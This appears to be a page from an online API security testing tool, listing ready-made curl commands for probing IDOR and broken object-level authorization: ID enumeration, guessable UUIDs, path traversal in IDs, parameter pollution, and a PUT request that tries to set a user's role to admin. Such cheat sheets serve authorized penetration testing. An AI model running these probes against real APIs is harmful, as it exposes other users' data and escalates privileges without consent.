Skip to content
Payload Playground

API Security Studio

Three API security tools, one workspace. Test OWASP API Top 10 vulnerabilities, OAuth 2.0/OIDC attack flows, and GraphQL security — all client-side.

Target Configuration
5 sectionsBOLA / IDOR
# Test horizontal IDOR — access another user's resource by iterating IDs:
for i in $(seq 1 20); do
  echo -n "ID $i: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer YOUR_TOKEN" \
    "https://api.target.com/v1/users/$i"
  echo
done
# Test UUID-based IDOR with predictable UUIDs:
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/users/00000000-0000-0000-0000-000000000001"
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/users/00000000-0000-0000-0000-000000000002"
# Test indirect references — your ID used in other object types:
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/orders/USER_ID"
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/invoices/USER_ID"
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/documents/USER_ID"
# Test path traversal embedded in object IDs:
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/users/USER_ID/../admin"
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/users/1%2F..%2F2"
# HTTP parameter pollution — send userId twice:
curl -H "Authorization: Bearer YOUR_TOKEN" "https://api.target.com/v1/profile?userId=USER_ID&userId=1"
curl -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"userId":"USER_ID","targetId":1}' \
  -H "Content-Type: application/json" \
  "https://api.target.com/v1/data"

# JSON body ID tampering — try to overwrite to another user's ID:
curl -X PUT "https://api.target.com/v1/users/USER_ID" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"id": 1, "role": "admin", "email": "[email protected]"}'

Related Tools

Companion generator

GraphQL Injection Generator

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/tools/api-studio) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.